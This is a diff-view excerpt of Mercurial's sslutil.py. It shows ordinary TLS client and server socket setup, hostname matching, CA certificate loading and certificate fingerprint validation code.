332 | 332 | % protocol, |
|
333 | 333 | hint=_( |
|
334 | 334 | b'upgrade Python or disable setting since ' |
|
335 | 335 | b'only TLS 1.0 is supported' |
|
336 | 336 | ), |
|
337 | 337 | ) |
|
338 | 338 | |
|
339 | 339 | return ssl.PROTOCOL_TLSv1, 0, b'tls1.0' |
|
340 | 340 | |
|
341 | 341 | # WARNING: returned options don't work unless the modern ssl module |
|
342 | 342 | # is available. Be careful when adding options here. |
|
343 | 343 | |
|
344 | 344 | # SSLv2 and SSLv3 are broken. We ban them outright. |
|
345 | 345 | options = ssl.OP_NO_SSLv2 | ssl.OP_NO_SSLv3 |
|
346 | 346 | |
|
347 | 347 | if protocol == b'tls1.0': |
|
348 | 348 | # Defaults above are to use TLS 1.0+ |
|
349 | 349 | pass |
|
350 | 350 | elif protocol == b'tls1.1': |
|
351 | 351 | options |= ssl.OP_NO_TLSv1 |
|
352 | 352 | elif protocol == b'tls1.2': |
|
353 | 353 | options |= ssl.OP_NO_TLSv1 | ssl.OP_NO_TLSv1_1 |
|
354 | 354 | else: |
|
355 | 355 | raise error.Abort(_(b'this should not happen')) |
|
356 | 356 | |
|
357 | 357 | # Prevent CRIME. |
|
358 | 358 | # There is no guarantee this attribute is defined on the module. |
|
359 | 359 | options |= getattr(ssl, 'OP_NO_COMPRESSION', 0) |
|
360 | 360 | |
|
361 | 361 | return ssl.PROTOCOL_SSLv23, options, protocol |
|
362 | 362 | |
|
363 | 363 | |
|
364 | 364 | def wrapsocket(sock, keyfile, certfile, ui, serverhostname=None): |
|
365 | 365 | """Add SSL/TLS to a socket. |
|
366 | 366 | |
|
367 | 367 | This is a glorified wrapper for ``ssl.wrap_socket()``. It makes sane |
|
368 | 368 | choices based on what security options are available. |
|
369 | 369 | |
|
370 | 370 | In addition to the arguments supported by ``ssl.wrap_socket``, we allow |
|
371 | 371 | the following additional arguments: |
|
372 | 372 | |
|
373 | 373 | * serverhostname - The expected hostname of the remote server. If the |
|
374 | 374 | server (and client) support SNI, this tells the server which certificate |
|
375 | 375 | to use. |
|
376 | 376 | """ |
|
377 | 377 | if not serverhostname: |
|
378 | 378 | raise error.Abort(_(b'serverhostname argument is required')) |
|
379 | 379 | |
|
380 | 380 | if b'SSLKEYLOGFILE' in encoding.environ: |
|
381 | 381 | try: |
|
382 | 382 | import sslkeylog |
|
383 | 383 | |
|
384 | 384 | sslkeylog.set_keylog( |
|
385 | 385 | pycompat.fsdecode(encoding.environ[b'SSLKEYLOGFILE']) |
|
386 | 386 | ) |
|
387 | 387 | ui.warnnoi18n( |
|
388 | 388 | b'sslkeylog enabled by SSLKEYLOGFILE environment variable\n' |
|
389 | 389 | ) |
|
390 | 390 | except ImportError: |
|
391 | 391 | ui.warnnoi18n( |
|
392 | 392 | b'sslkeylog module missing, ' |
|
393 | 393 | b'but SSLKEYLOGFILE set in environment\n' |
|
394 | 394 | ) |
|
395 | 395 | |
|
396 | 396 | for f in (keyfile, certfile): |
|
397 | 397 | if f and not os.path.exists(f): |
|
398 | 398 | raise error.Abort( |
|
399 | 399 | _(b'certificate file (%s) does not exist; cannot connect to %s') |
|
400 | 400 | % (f, pycompat.bytesurl(serverhostname)), |
|
401 | 401 | hint=_( |
|
402 | 402 | b'restore missing file or fix references ' |
|
403 | 403 | b'in Mercurial config' |
|
404 | 404 | ), |
|
405 | 405 | ) |
|
406 | 406 | |
|
407 | 407 | settings = _hostsettings(ui, serverhostname) |
|
408 | 408 | |
|
409 | 409 | # We can't use ssl.create_default_context() because it calls |
|
410 | 410 | # load_default_certs() unless CA arguments are passed to it. We want to |
|
411 | 411 | # have explicit control over CA loading because implicitly loading |
|
412 | 412 | # CAs may undermine the user's intent. For example, a user may define a CA |
|
413 | 413 | # bundle with a specific CA cert removed. If the system/default CA bundle |
|
414 | 414 | # is loaded and contains that removed CA, you've just undone the user's |
|
415 | 415 | # choice. |
|
416 | 416 | sslcontext = SSLContext(settings[b'protocol']) |
|
417 | 417 | |
|
418 | 418 | # This is a no-op unless using modern ssl. |
|
419 | 419 | sslcontext.options |= settings[b'ctxoptions'] |
|
420 | 420 | |
|
421 | 421 | # This still works on our fake SSLContext. |
|
422 | 422 | sslcontext.verify_mode = settings[b'verifymode'] |
|
423 | 423 | |
|
424 | 424 | if settings[b'ciphers']: |
|
425 | 425 | try: |
|
426 | 426 | sslcontext.set_ciphers(pycompat.sysstr(settings[b'ciphers'])) |
|
427 | 427 | except ssl.SSLError as e: |
|
428 | 428 | raise error.Abort( |
|
429 | 429 | _(b'could not set ciphers: %s') |
|
430 | 430 | % stringutil.forcebytestr(e.args[0]), |
|
431 | 431 | hint=_(b'change cipher string (%s) in config') |
|
432 | 432 | % settings[b'ciphers'], |
|
433 | 433 | ) |
|
434 | 434 | |
|
435 | 435 | if certfile is not None: |
|
436 | 436 | |
|
437 | 437 | def password(): |
|
438 | 438 | f = keyfile or certfile |
|
439 | 439 | return ui.getpass(_(b'passphrase for %s: ') % f, b'') |
|
440 | 440 | |
|
441 | 441 | sslcontext.load_cert_chain(certfile, keyfile, password) |
|
442 | 442 | |
|
443 | 443 | if settings[b'cafile'] is not None: |
|
444 | 444 | try: |
|
445 | 445 | sslcontext.load_verify_locations(cafile=settings[b'cafile']) |
|
446 | 446 | except ssl.SSLError as e: |
|
447 | 447 | if len(e.args) == 1: # pypy has different SSLError args |
|
448 | 448 | msg = e.args[0] |
|
449 | 449 | else: |
|
450 | 450 | msg = e.args[1] |
|
451 | 451 | raise error.Abort( |
|
452 | 452 | _(b'error loading CA file %s: %s') |
|
453 | 453 | % (settings[b'cafile'], stringutil.forcebytestr(msg)), |
|
454 | 454 | hint=_(b'file is empty or malformed?'), |
|
455 | 455 | ) |
|
456 | 456 | caloaded = True |
|
457 | 457 | elif settings[b'allowloaddefaultcerts']: |
|
458 | 458 | # This is a no-op on old Python. |
|
459 | 459 | sslcontext.load_default_certs() |
|
460 | 460 | caloaded = True |
|
461 | 461 | else: |
|
462 | 462 | caloaded = False |
|
463 | 463 | |
|
464 | 464 | try: |
|
465 | 465 | sslsocket = sslcontext.wrap_socket(sock, server_hostname=serverhostname) |
|
466 | 466 | except ssl.SSLError as e: |
|
467 | 467 | # If we're doing certificate verification and no CA certs are loaded, |
|
468 | 468 | # that is almost certainly the reason why verification failed. Provide |
|
469 | 469 | # a hint to the user. |
|
470 | 470 | # Only modern ssl module exposes SSLContext.get_ca_certs() so we can |
|
471 | 471 | # only show this warning if modern ssl is available. |
|
472 | 472 | # The exception handler is here to handle bugs around cert attributes: |
|
473 | 473 | # https://bugs.python.org/issue20916#msg213479. (See issues5313.) |
|
474 | 474 | # When the main 20916 bug occurs, 'sslcontext.get_ca_certs()' is a |
|
475 | 475 | # non-empty list, but the following conditional is otherwise True. |
|
476 | 476 | try: |
|
477 | 477 | if ( |
|
478 | 478 | caloaded |
|
479 | 479 | and settings[b'verifymode'] == ssl.CERT_REQUIRED |
|
480 | 480 | and modernssl |
|
481 | 481 | and not sslcontext.get_ca_certs() |
|
482 | 482 | ): |
|
483 | 483 | ui.warn( |
|
484 | 484 | _( |
|
485 | 485 | b'(an attempt was made to load CA certificates but ' |
|
486 | 486 | b'none were loaded; see ' |
|
487 | 487 | b'https://mercurial-scm.org/wiki/SecureConnections ' |
|
488 | 488 | b'for how to configure Mercurial to avoid this ' |
|
489 | 489 | b'error)\n' |
|
490 | 490 | ) |
|
491 | 491 | ) |
|
492 | 492 | except ssl.SSLError: |
|
493 | 493 | pass |
|
494 | 494 | |
|
495 | 495 | # Try to print more helpful error messages for known failures. |
|
496 | 496 | if util.safehasattr(e, b'reason'): |
|
497 | 497 | # This error occurs when the client and server don't share a |
|
498 | 498 | # common/supported SSL/TLS protocol. We've disabled SSLv2 and SSLv3 |
|
499 | 499 | # outright. Hopefully the reason for this error is that we require |
|
500 | 500 | # TLS 1.1+ and the server only supports TLS 1.0. Whatever the |
|
501 | 501 | # reason, try to emit an actionable warning. |
|
502 | 502 | if e.reason == 'UNSUPPORTED_PROTOCOL': |
|
503 | 503 | # We attempted TLS 1.0+. |
|
504 | 504 | if settings[b'protocolui'] == b'tls1.0': |
|
505 | 505 | # We support more than just TLS 1.0+. If this happens, |
|
506 | 506 | # the likely scenario is either the client or the server |
|
507 | 507 | # is really old. (e.g. server doesn't support TLS 1.0+ or |
|
508 | 508 | # client doesn't support modern TLS versions introduced |
|
509 | 509 | # several years from when this comment was written). |
|
510 | 510 | if supportedprotocols != {b'tls1.0'}: |
|
511 | 511 | ui.warn( |
|
512 | 512 | _( |
|
513 | 513 | b'(could not communicate with %s using security ' |
|
514 | 514 | b'protocols %s; if you are using a modern Mercurial ' |
|
515 | 515 | b'version, consider contacting the operator of this ' |
|
516 | 516 | b'server; see ' |
|
517 | 517 | b'https://mercurial-scm.org/wiki/SecureConnections ' |
|
518 | 518 | b'for more info)\n' |
|
519 | 519 | ) |
|
520 | 520 | % ( |
|
521 | 521 | pycompat.bytesurl(serverhostname), |
|
522 | 522 | b', '.join(sorted(supportedprotocols)), |
|
523 | 523 | ) |
|
524 | 524 | ) |
|
525 | 525 | else: |
|
526 | 526 | ui.warn( |
|
527 | 527 | _( |
|
528 | 528 | b'(could not communicate with %s using TLS 1.0; the ' |
|
529 | 529 | b'likely cause of this is the server no longer ' |
|
530 | 530 | b'supports TLS 1.0 because it has known security ' |
|
531 | 531 | b'vulnerabilities; see ' |
|
532 | 532 | b'https://mercurial-scm.org/wiki/SecureConnections ' |
|
533 | 533 | b'for more info)\n' |
|
534 | 534 | ) |
|
535 | 535 | % pycompat.bytesurl(serverhostname) |
|
536 | 536 | ) |
|
537 | 537 | else: |
|
538 | 538 | # We attempted TLS 1.1+. We can only get here if the client |
|
539 | 539 | # supports the configured protocol. So the likely reason is |
|
540 | 540 | # the client wants better security than the server can |
|
541 | 541 | # offer. |
|
542 | 542 | ui.warn( |
|
543 | 543 | _( |
|
544 | 544 | b'(could not negotiate a common security protocol (%s+) ' |
|
545 | 545 | b'with %s; the likely cause is Mercurial is configured ' |
|
546 | 546 | b'to be more secure than the server can support)\n' |
|
547 | 547 | ) |
|
548 | 548 | % ( |
|
549 | 549 | settings[b'protocolui'], |
|
550 | 550 | pycompat.bytesurl(serverhostname), |
|
551 | 551 | ) |
|
552 | 552 | ) |
|
553 | 553 | ui.warn( |
|
554 | 554 | _( |
|
555 | 555 | b'(consider contacting the operator of this ' |
|
556 | 556 | b'server and ask them to support modern TLS ' |
|
557 | 557 | b'protocol versions; or, set ' |
|
558 | 558 | b'hostsecurity.%s:minimumprotocol=tls1.0 to allow ' |
|
559 | 559 | b'use of legacy, less secure protocols when ' |
|
560 | 560 | b'communicating with this server)\n' |
|
561 | 561 | ) |
|
562 | 562 | % pycompat.bytesurl(serverhostname) |
|
563 | 563 | ) |
|
564 | 564 | ui.warn( |
|
565 | 565 | _( |
|
566 | 566 | b'(see https://mercurial-scm.org/wiki/SecureConnections ' |
|
567 | 567 | b'for more info)\n' |
|
568 | 568 | ) |
|
569 | 569 | ) |
|
570 | 570 | |
|
571 | 571 | elif e.reason == 'CERTIFICATE_VERIFY_FAILED' and pycompat.iswindows: |
|
572 | 572 | |
|
573 | 573 | ui.warn( |
|
574 | 574 | _( |
|
575 | 575 | b'(the full certificate chain may not be available ' |
|
576 | 576 | b'locally; see "hg help debugssl")\n' |
|
577 | 577 | ) |
|
578 | 578 | ) |
|
579 | 579 | raise |
|
580 | 580 | |
|
581 | 581 | # check if wrap_socket failed silently because socket had been |
|
582 | 582 | # closed |
|
583 | 583 | # - see http://bugs.python.org/issue13721 |
|
584 | 584 | if not sslsocket.cipher(): |
|
585 | 585 | raise error.Abort(_(b'ssl connection failed')) |
|
586 | 586 | |
|
587 | 587 | sslsocket._hgstate = { |
|
588 | 588 | b'caloaded': caloaded, |
|
589 | 589 | b'hostname': serverhostname, |
|
590 | 590 | b'settings': settings, |
|
591 | 591 | b'ui': ui, |
|
592 | 592 | } |
|
593 | 593 | |
|
594 | 594 | return sslsocket |
|
595 | 595 | |
|
596 | 596 | |
|
597 | 597 | def wrapserversocket( |
|
598 | 598 | sock, ui, certfile=None, keyfile=None, cafile=None, requireclientcert=False |
|
599 | 599 | ): |
|
600 | 600 | """Wrap a socket for use by servers. |
|
601 | 601 | |
|
602 | 602 | ``certfile`` and ``keyfile`` specify the files containing the certificate's |
|
603 | 603 | public and private keys, respectively. Both keys can be defined in the same |
|
604 | 604 | file via ``certfile`` (the private key must come first in the file). |
|
605 | 605 | |
|
606 | 606 | ``cafile`` defines the path to certificate authorities. |
|
607 | 607 | |
|
608 | 608 | ``requireclientcert`` specifies whether to require client certificates. |
|
609 | 609 | |
|
610 | 610 | Typically ``cafile`` is only defined if ``requireclientcert`` is true. |
|
611 | 611 | """ |
|
612 | 612 | # This function is not used much by core Mercurial, so the error messaging |
|
613 | 613 | # doesn't have to be as detailed as for wrapsocket(). |
|
614 | 614 | for f in (certfile, keyfile, cafile): |
|
615 | 615 | if f and not os.path.exists(f): |
|
616 | 616 | raise error.Abort( |
|
617 | 617 | _(b'referenced certificate file (%s) does not exist') % f |
|
618 | 618 | ) |
|
619 | 619 | |
|
620 | 620 | protocol, options, _protocolui = protocolsettings(b'tls1.0') |
|
621 | 621 | |
|
622 | 622 | # This config option is intended for use in tests only. It is a giant |
|
623 | 623 | # footgun to kill security. Don't define it. |
|
624 | 624 | exactprotocol = ui.config(b'devel', b'serverexactprotocol') |
|
625 | 625 | if exactprotocol == b'tls1.0': |
|
626 | 626 | protocol = ssl.PROTOCOL_TLSv1 |
|
627 | 627 | elif exactprotocol == b'tls1.1': |
|
628 | 628 | if b'tls1.1' not in supportedprotocols: |
|
629 | 629 | raise error.Abort(_(b'TLS 1.1 not supported by this Python')) |
|
630 | 630 | protocol = ssl.PROTOCOL_TLSv1_1 |
|
631 | 631 | elif exactprotocol == b'tls1.2': |
|
632 | 632 | if b'tls1.2' not in supportedprotocols: |
|
633 | 633 | raise error.Abort(_(b'TLS 1.2 not supported by this Python')) |
|
634 | 634 | protocol = ssl.PROTOCOL_TLSv1_2 |
|
635 | 635 | elif exactprotocol: |
|
636 | 636 | raise error.Abort( |
|
637 | 637 | _(b'invalid value for serverexactprotocol: %s') % exactprotocol |
|
638 | 638 | ) |
|
639 | 639 | |
|
640 | 640 | if modernssl: |
|
641 | 641 | # We /could/ use create_default_context() here since it doesn't load |
|
642 | 642 | # CAs when configured for client auth. However, it is hard-coded to |
|
643 | 643 | # use ssl.PROTOCOL_SSLv23 which may not be appropriate here. |
|
644 | 644 | sslcontext = SSLContext(protocol) |
|
645 | 645 | sslcontext.options |= options |
|
646 | 646 | |
|
647 | 647 | # Improve forward secrecy. |
|
648 | 648 | sslcontext.options |= getattr(ssl, 'OP_SINGLE_DH_USE', 0) |
|
649 | 649 | sslcontext.options |= getattr(ssl, 'OP_SINGLE_ECDH_USE', 0) |
|
650 | 650 | |
|
651 | 651 | # Use the list of more secure ciphers if found in the ssl module. |
|
652 | 652 | if util.safehasattr(ssl, b'_RESTRICTED_SERVER_CIPHERS'): |
|
653 | 653 | sslcontext.options |= getattr(ssl, 'OP_CIPHER_SERVER_PREFERENCE', 0) |
|
654 | 654 | sslcontext.set_ciphers(ssl._RESTRICTED_SERVER_CIPHERS) |
|
655 | 655 | else: |
|
656 | 656 | sslcontext = SSLContext(ssl.PROTOCOL_TLSv1) |
|
657 | 657 | |
|
658 | 658 | if requireclientcert: |
|
659 | 659 | sslcontext.verify_mode = ssl.CERT_REQUIRED |
|
660 | 660 | else: |
|
661 | 661 | sslcontext.verify_mode = ssl.CERT_NONE |
|
662 | 662 | |
|
663 | 663 | if certfile or keyfile: |
|
664 | 664 | sslcontext.load_cert_chain(certfile=certfile, keyfile=keyfile) |
|
665 | 665 | |
|
666 | 666 | if cafile: |
|
667 | 667 | sslcontext.load_verify_locations(cafile=cafile) |
|
668 | 668 | |
|
669 | 669 | return sslcontext.wrap_socket(sock, server_side=True) |
|
670 | 670 | |
|
671 | 671 | |
|
672 | 672 | class wildcarderror(Exception): |
|
673 | 673 | """Represents an error parsing wildcards in DNS name.""" |
|
674 | 674 | |
|
675 | 675 | |
|
676 | 676 | def _dnsnamematch(dn, hostname, maxwildcards=1): |
|
677 | 677 | """Match DNS names according RFC 6125 section 6.4.3. |
|
678 | 678 | |
|
679 | 679 | This code is effectively copied from CPython's ssl._dnsname_match. |
|
680 | 680 | |
|
681 | 681 | Returns a bool indicating whether the expected hostname matches |
|
682 | 682 | the value in ``dn``. |
|
683 | 683 | """ |
|
684 | 684 | pats = [] |
|
685 | 685 | if not dn: |
|
686 | 686 | return False |
|
687 | 687 | dn = pycompat.bytesurl(dn) |
|
688 | 688 | hostname = pycompat.bytesurl(hostname) |
|
689 | 689 | |
|
690 | 690 | pieces = dn.split(b'.') |
|
691 | 691 | leftmost = pieces[0] |
|
692 | 692 | remainder = pieces[1:] |
|
693 | 693 | wildcards = leftmost.count(b'*') |
|
694 | 694 | if wildcards > maxwildcards: |
|
695 | 695 | raise wildcarderror( |
|
696 | 696 | _(b'too many wildcards in certificate DNS name: %s') % dn |
|
697 | 697 | ) |
|
698 | 698 | |
|
699 | 699 | # speed up common case w/o wildcards |
|
700 | 700 | if not wildcards: |
|
701 | 701 | return dn.lower() == hostname.lower() |
|
702 | 702 | |
|
703 | 703 | # RFC 6125, section 6.4.3, subitem 1. |
|
704 | 704 | # The client SHOULD NOT attempt to match a presented identifier in which |
|
705 | 705 | # the wildcard character comprises a label other than the left-most label. |
|
706 | 706 | if leftmost == b'*': |
|
707 | 707 | # When '*' is a fragment by itself, it matches a non-empty dotless |
|
708 | 708 | # fragment. |
|
709 | 709 | pats.append(b'[^.]+') |
|
710 | 710 | elif leftmost.startswith(b'xn--') or hostname.startswith(b'xn--'): |
|
711 | 711 | # RFC 6125, section 6.4.3, subitem 3. |
|
712 | 712 | # The client SHOULD NOT attempt to match a presented identifier |
|
713 | 713 | # where the wildcard character is embedded within an A-label or |
|
714 | 714 | # U-label of an internationalized domain name. |
|
715 | 715 | pats.append(stringutil.reescape(leftmost)) |
|
716 | 716 | else: |
|
717 | 717 | # Otherwise, '*' matches any dotless string, e.g. www* |
|
718 | 718 | pats.append(stringutil.reescape(leftmost).replace(br'\*', b'[^.]*')) |
|
719 | 719 | |
|
720 | 720 | # add the remaining fragments, ignore any wildcards |
|
721 | 721 | for frag in remainder: |
|
722 | 722 | pats.append(stringutil.reescape(frag)) |
|
723 | 723 | |
|
724 | 724 | pat = re.compile(br'\A' + br'\.'.join(pats) + br'\Z', re.IGNORECASE) |
|
725 | 725 | return pat.match(hostname) is not None |
|
726 | 726 | |
|
727 | 727 | |
|
728 | 728 | def _verifycert(cert, hostname): |
|
729 | 729 | '''Verify that cert (in socket.getpeercert() format) matches hostname. |
|
730 | 730 | CRLs is not handled. |
|
731 | 731 | |
|
732 | 732 | Returns error message if any problems are found and None on success. |
|
733 | 733 | ''' |
|
734 | 734 | if not cert: |
|
735 | 735 | return _(b'no certificate received') |
|
736 | 736 | |
|
737 | 737 | dnsnames = [] |
|
738 | 738 | san = cert.get('subjectAltName', []) |
|
739 | 739 | for key, value in san: |
|
740 | 740 | if key == 'DNS': |
|
741 | 741 | try: |
|
742 | 742 | if _dnsnamematch(value, hostname): |
|
743 | 743 | return |
|
744 | 744 | except wildcarderror as e: |
|
745 | 745 | return stringutil.forcebytestr(e.args[0]) |
|
746 | 746 | |
|
747 | 747 | dnsnames.append(value) |
|
748 | 748 | |
|
749 | 749 | if not dnsnames: |
|
750 | 750 | # The subject is only checked when there is no DNS in subjectAltName. |
|
751 | 751 | for sub in cert.get('subject', []): |
|
752 | 752 | for key, value in sub: |
|
753 | 753 | # According to RFC 2818 the most specific Common Name must |
|
754 | 754 | # be used. |
|
755 | 755 | if key == 'commonName': |
|
756 | 756 | # 'subject' entries are unicode. |
|
757 | 757 | try: |
|
758 | 758 | value = value.encode('ascii') |
|
759 | 759 | except UnicodeEncodeError: |
|
760 | 760 | return _(b'IDN in certificate not supported') |
|
761 | 761 | |
|
762 | 762 | try: |
|
763 | 763 | if _dnsnamematch(value, hostname): |
|
764 | 764 | return |
|
765 | 765 | except wildcarderror as e: |
|
766 | 766 | return stringutil.forcebytestr(e.args[0]) |
|
767 | 767 | |
|
768 | 768 | dnsnames.append(value) |
|
769 | 769 | |
|
770 | 770 | dnsnames = [pycompat.bytesurl(d) for d in dnsnames] |
|
771 | 771 | if len(dnsnames) > 1: |
|
772 | 772 | return _(b'certificate is for %s') % b', '.join(dnsnames) |
|
773 | 773 | elif len(dnsnames) == 1: |
|
774 | 774 | return _(b'certificate is for %s') % dnsnames[0] |
|
775 | 775 | else: |
|
776 | 776 | return _(b'no commonName or subjectAltName found in certificate') |
|
777 | 777 | |
|
778 | 778 | |
|
779 | 779 | def _plainapplepython(): |
|
780 | 780 | """return true if this seems to be a pure Apple Python that |
|
781 | 781 | * is unfrozen and presumably has the whole mercurial module in the file |
|
782 | 782 | system |
|
783 | 783 | * presumably is an Apple Python that uses Apple OpenSSL which has patches |
|
784 | 784 | for using system certificate store CAs in addition to the provided |
|
785 | 785 | cacerts file |
|
786 | 786 | """ |
|
787 | 787 | if ( |
|
788 | 788 | not pycompat.isdarwin |
|
789 |
or |
|
|
789 | or resourceutil.mainfrozen() | |
|
790 | 790 | or not pycompat.sysexecutable |
|
791 | 791 | ): |
|
792 | 792 | return False |
|
793 | 793 | exe = os.path.realpath(pycompat.sysexecutable).lower() |
|
794 | 794 | return exe.startswith(b'/usr/bin/python') or exe.startswith( |
|
795 | 795 | b'/system/library/frameworks/python.framework/' |
|
796 | 796 | ) |
|
797 | 797 | |
|
798 | 798 | |
|
799 | 799 | _systemcacertpaths = [ |
|
800 | 800 | # RHEL, CentOS, and Fedora |
|
801 | 801 | b'/etc/pki/tls/certs/ca-bundle.trust.crt', |
|
802 | 802 | # Debian, Ubuntu, Gentoo |
|
803 | 803 | b'/etc/ssl/certs/ca-certificates.crt', |
|
804 | 804 | ] |
|
805 | 805 | |
|
806 | 806 | |
|
807 | 807 | def _defaultcacerts(ui): |
|
808 | 808 | """return path to default CA certificates or None. |
|
809 | 809 | |
|
810 | 810 | It is assumed this function is called when the returned certificates |
|
811 | 811 | file will actually be used to validate connections. Therefore this |
|
812 | 812 | function may print warnings or debug messages assuming this usage. |
|
813 | 813 | |
|
814 | 814 | We don't print a message when the Python is able to load default |
|
815 | 815 | CA certs because this scenario is detected at socket connect time. |
|
816 | 816 | """ |
|
817 | 817 | # The "certifi" Python package provides certificates. If it is installed |
|
818 | 818 | # and usable, assume the user intends it to be used and use it. |
|
819 | 819 | try: |
|
820 | 820 | import certifi |
|
821 | 821 | |
|
822 | 822 | certs = certifi.where() |
|
823 | 823 | if os.path.exists(certs): |
|
824 | 824 | ui.debug(b'using ca certificates from certifi\n') |
|
825 | 825 | return pycompat.fsencode(certs) |
|
826 | 826 | except (ImportError, AttributeError): |
|
827 | 827 | pass |
|
828 | 828 | |
|
829 | 829 | # On Windows, only the modern ssl module is capable of loading the system |
|
830 | 830 | # CA certificates. If we're not capable of doing that, emit a warning |
|
831 | 831 | # because we'll get a certificate verification error later and the lack |
|
832 | 832 | # of loaded CA certificates will be the reason why. |
|
833 | 833 | # Assertion: this code is only called if certificates are being verified. |
|
834 | 834 | if pycompat.iswindows: |
|
835 | 835 | if not _canloaddefaultcerts: |
|
836 | 836 | ui.warn( |
|
837 | 837 | _( |
|
838 | 838 | b'(unable to load Windows CA certificates; see ' |
|
839 | 839 | b'https://mercurial-scm.org/wiki/SecureConnections for ' |
|
840 | 840 | b'how to configure Mercurial to avoid this message)\n' |
|
841 | 841 | ) |
|
842 | 842 | ) |
|
843 | 843 | |
|
844 | 844 | return None |
|
845 | 845 | |
|
846 | 846 | # Apple's OpenSSL has patches that allow a specially constructed certificate |
|
847 | 847 | # to load the system CA store. If we're running on Apple Python, use this |
|
848 | 848 | # trick. |
|
849 | 849 | if _plainapplepython(): |
|
850 | 850 | dummycert = os.path.join( |
|
851 | 851 | os.path.dirname(pycompat.fsencode(__file__)), b'dummycert.pem' |
|
852 | 852 | ) |
|
853 | 853 | if os.path.exists(dummycert): |
|
854 | 854 | return dummycert |
|
855 | 855 | |
|
856 | 856 | # The Apple OpenSSL trick isn't available to us. If Python isn't able to |
|
857 | 857 | # load system certs, we're out of luck. |
|
858 | 858 | if pycompat.isdarwin: |
|
859 | 859 | # FUTURE Consider looking for Homebrew or MacPorts installed certs |
|
860 | 860 | # files. Also consider exporting the keychain certs to a file during |
|
861 | 861 | # Mercurial install. |
|
862 | 862 | if not _canloaddefaultcerts: |
|
863 | 863 | ui.warn( |
|
864 | 864 | _( |
|
865 | 865 | b'(unable to load CA certificates; see ' |
|
866 | 866 | b'https://mercurial-scm.org/wiki/SecureConnections for ' |
|
867 | 867 | b'how to configure Mercurial to avoid this message)\n' |
|
868 | 868 | ) |
|
869 | 869 | ) |
|
870 | 870 | return None |
|
871 | 871 | |
|
872 | 872 | # / is writable on Windows. Out of an abundance of caution make sure |
|
873 | 873 | # we're not on Windows because paths from _systemcacerts could be installed |
|
874 | 874 | # by non-admin users. |
|
875 | 875 | assert not pycompat.iswindows |
|
876 | 876 | |
|
877 | 877 | # Try to find CA certificates in well-known locations. We print a warning |
|
878 | 878 | # when using a found file because we don't want too much silent magic |
|
879 | 879 | # for security settings. The expectation is that proper Mercurial |
|
880 | 880 | # installs will have the CA certs path defined at install time and the |
|
881 | 881 | # installer/packager will make an appropriate decision on the user's |
|
882 | 882 | # behalf. We only get here and perform this setting as a feature of |
|
883 | 883 | # last resort. |
|
884 | 884 | if not _canloaddefaultcerts: |
|
885 | 885 | for path in _systemcacertpaths: |
|
886 | 886 | if os.path.isfile(path): |
|
887 | 887 | ui.warn( |
|
888 | 888 | _( |
|
889 | 889 | b'(using CA certificates from %s; if you see this ' |
|
890 | 890 | b'message, your Mercurial install is not properly ' |
|
891 | 891 | b'configured; see ' |
|
892 | 892 | b'https://mercurial-scm.org/wiki/SecureConnections ' |
|
893 | 893 | b'for how to configure Mercurial to avoid this ' |
|
894 | 894 | b'message)\n' |
|
895 | 895 | ) |
|
896 | 896 | % path |
|
897 | 897 | ) |
|
898 | 898 | return path |
|
899 | 899 | |
|
900 | 900 | ui.warn( |
|
901 | 901 | _( |
|
902 | 902 | b'(unable to load CA certificates; see ' |
|
903 | 903 | b'https://mercurial-scm.org/wiki/SecureConnections for ' |
|
904 | 904 | b'how to configure Mercurial to avoid this message)\n' |
|
905 | 905 | ) |
|
906 | 906 | ) |
|
907 | 907 | |
|
908 | 908 | return None |
|
909 | 909 | |
|
910 | 910 | |
|
911 | 911 | def validatesocket(sock): |
|
912 | 912 | """Validate a socket meets security requirements. |
|
913 | 913 | |
|
914 | 914 | The passed socket must have been created with ``wrapsocket()``. |
|
915 | 915 | """ |
|
916 | 916 | shost = sock._hgstate[b'hostname'] |
|
917 | 917 | host = pycompat.bytesurl(shost) |
|
918 | 918 | ui = sock._hgstate[b'ui'] |
|
919 | 919 | settings = sock._hgstate[b'settings'] |
|
920 | 920 | |
|
921 | 921 | try: |
|
922 | 922 | peercert = sock.getpeercert(True) |
|
923 | 923 | peercert2 = sock.getpeercert() |
|
924 | 924 | except AttributeError: |
|
925 | 925 | raise error.Abort(_(b'%s ssl connection error') % host) |
|
926 | 926 | |
|
927 | 927 | if not peercert: |
|
928 | 928 | raise error.Abort( |
|
929 | 929 | _(b'%s certificate error: no certificate received') % host |
|
930 | 930 | ) |
|
931 | 931 | |
|
932 | 932 | if settings[b'disablecertverification']: |
|
933 | 933 | # We don't print the certificate fingerprint because it shouldn't |
|
934 | 934 | # be necessary: if the user requested certificate verification be |
|
935 | 935 | # disabled, they presumably already saw a message about the inability |
|
936 | 936 | # to verify the certificate and this message would have printed the |
|
937 | 937 | # fingerprint. So printing the fingerprint here adds little to no |
|
938 | 938 | # value. |
|
939 | 939 | ui.warn( |
|
940 | 940 | _( |
|
941 | 941 | b'warning: connection security to %s is disabled per current ' |
|
942 | 942 | b'settings; communication is susceptible to eavesdropping ' |
|
943 | 943 | b'and tampering\n' |
|
944 | 944 | ) |
|
945 | 945 | % host |
|
946 | 946 | ) |
|
947 | 947 | return |
|
948 | 948 | |
|
949 | 949 | # If a certificate fingerprint is pinned, use it and only it to |
|
950 | 950 | # validate the remote cert. |
|
951 | 951 | peerfingerprints = { |
|
952 | 952 | b'sha1': node.hex(hashlib.sha1(peercert).digest()), |
|
953 | 953 | b'sha256': node.hex(hashlib.sha256(peercert).digest()), |
|
954 | 954 | b'sha512': node.hex(hashlib.sha512(peercert).digest()), |
|
955 | 955 | } |
|
956 | 956 | |
|
957 | 957 | def fmtfingerprint(s): |
|
958 | 958 | return b':'.join([s[x : x + 2] for x in range(0, len(s), 2)]) |
|
959 | 959 | |
|
960 | 960 | nicefingerprint = b'sha256:%s' % fmtfingerprint(peerfingerprints[b'sha256']) |
|
961 | 961 | |
|
962 | 962 | if settings[b'certfingerprints']: |
|
963 | 963 | for hash, fingerprint in settings[b'certfingerprints']: |
|
964 | 964 | if peerfingerprints[hash].lower() == fingerprint: |
|
965 | 965 | ui.debug( |
|
966 | 966 | b'%s certificate matched fingerprint %s:%s\n' |
|
967 | 967 | % (host, hash, fmtfingerprint(fingerprint)) |
|
968 | 968 | ) |
|
969 | 969 | if settings[b'legacyfingerprint']: |
|
970 | 970 | ui.warn( |
|
971 | 971 | _( |
|
972 | 972 | b'(SHA-1 fingerprint for %s found in legacy ' |
|
973 | 973 | b'[hostfingerprints] section; ' |
|
974 | 974 | b'if you trust this fingerprint, remove the old ' |
|
975 | 975 | b'SHA-1 fingerprint from [hostfingerprints] and ' |
|
976 | 976 | b'add the following entry to the new ' |
|
